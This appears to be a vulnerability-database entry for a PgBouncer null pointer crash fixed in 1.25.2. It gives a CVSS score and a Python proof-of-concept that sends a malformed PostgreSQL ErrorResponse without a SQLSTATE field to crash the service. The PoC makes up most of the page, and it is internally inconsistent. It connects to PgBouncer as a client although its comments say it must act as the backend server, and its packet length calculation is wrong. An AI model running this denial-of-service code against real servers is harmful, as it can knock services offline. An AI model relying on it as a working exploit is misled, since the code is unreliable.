A possible null pointer reference in PgBouncer before 1.25.2 could lead to a crash, if a server sends an error response without SQLSTATE field.
CVSS Details
CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
PgBouncer < 1.25.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-6666: PgBouncer Null Pointer Dereference
# This script simulates a malicious PostgreSQL backend server sending an ErrorResponse
# without the required SQLSTATE field to crash PgBouncer.
import socket
import struct
def send_malformed_error(target_host, target_port):
try:
# Connect to PgBouncer (acting as a backend)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_host, target_port))
# PgBouncer startup message handling might vary, but we assume we are in a state
# where we can send a response to PgBouncer (e.g., after it connects to us).
# In a real scenario, this requires setting up a listener that PgBouncer connects to.
# Construct a malformed ErrorResponse packet
# Format: 'E' + length + fields... + 0x00
# Normal packet has 'S' for SQLSTATE. We omit it.
# 'M' for Message.
msg = b'Error triggering crash'
packet = b'E' + struct.pack('>I', 4 + 1 + len(msg) + 1 + 1) # Length placeholder logic
packet += b'M' + msg + b'\x00' # Message field
packet += b'\x00' # Terminator
# Fix length (Int32 includes self)
length = len(packet)
packet = b'E' + struct.pack('>I', length) + packet[5:]
s.send(packet)
print(f"[*] Malformed packet sent to {target_host}:{target_port}")
print("[*] Check if PgBouncer crashed.")
s.close()
except Exception as e:
print(f"[!] Error: {e}")
# Usage: python poc.py <pgbouncer_host> <pgbouncer_port>
# Note: This usually requires the attacker to act as the backend database server
# that PgBouncer tries to connect to.